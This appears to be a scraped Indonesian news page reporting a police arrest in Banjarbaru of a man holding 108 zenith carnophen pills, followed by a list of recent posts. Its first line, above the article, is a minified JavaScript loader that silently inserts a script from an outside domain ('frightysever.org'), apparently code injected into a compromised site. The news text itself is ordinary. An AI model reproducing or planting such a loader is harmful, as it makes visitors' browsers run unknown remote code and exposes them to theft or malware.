(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Jual Zenith, HK Warga Loktabat Selatan Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki kedapatan menyimpan obat terlarang zenith carnophen di sebuah rumah di Jalan Nusantara RT 07 Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Jumat (26/7/2024) sekira pukul 17.30 Wita.

HK, 38 tahun dibekuk anggota Unit Opsnal Polsek Banjarbaru Utara setelah menerima informasi bahwa rumah tersebut kerap menjadi tempat transaksi narkoba.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono mengungkap, buntut adanya informasi tersebut, anggota yang dipimpin oleh Panit 2 Opsnal Reskrim Aiptu Sugeng Gunawan crosscheck informasi tersebut.

Baca juga: Nyamar Jadi Siswa, SB Tertangkap Curi Laptop SMKN 3

Tersangka HK (38) kedapatan polisi menyimpan narkotika jenis zenith. Foto : Humas Polsek Banjarbaru

“Informasi tersebut dinilai akurat anggota melakukan penangkapan terhadap terduga pelaku berinisial HK di sebuah rumah,” ujar Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Kamis (1/8/2024).

Pelaku HK yang juga tinggal di lokasi itu kemudian dilakukan penggeledahan badan beserta rumah tersebut.

“Didapat barang bukti zenith carnophen sebanyak 108 butir,” sebut dia.

Kapolsek menyebutkan, 108 butir zenith tersebut dibungkus dalam klip-klip plastik kecil sebanyak 10 butir per plastik klip.

Baca juga: Hari Kanker Paru Sedunia, Kenali Tanda Awal Kanker Paru-paru

“Kita temukan total 10 plastik klip berisi 10 butir per klip plastik, dan 8 butir di dalam 1 plastik klip kecil dan dimasukkan ke kantong plastik hitam, serta uang tunai sebesar Rp260.000,” tandasnya.

Modus pelaku adalah menyimpan narkotika dengan disembunyikan didalam laci meja toko milik pelaku.

Setelah ditangkap, HK dan barang bukti dibawa oleh anggota Opsnal Polsek Banjarbaru Utara ke Polsek untuk melanjutkan proses hukum.

Atas perbuatannya, tersangka akan dijerat hukuman seperti termuat dalam Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.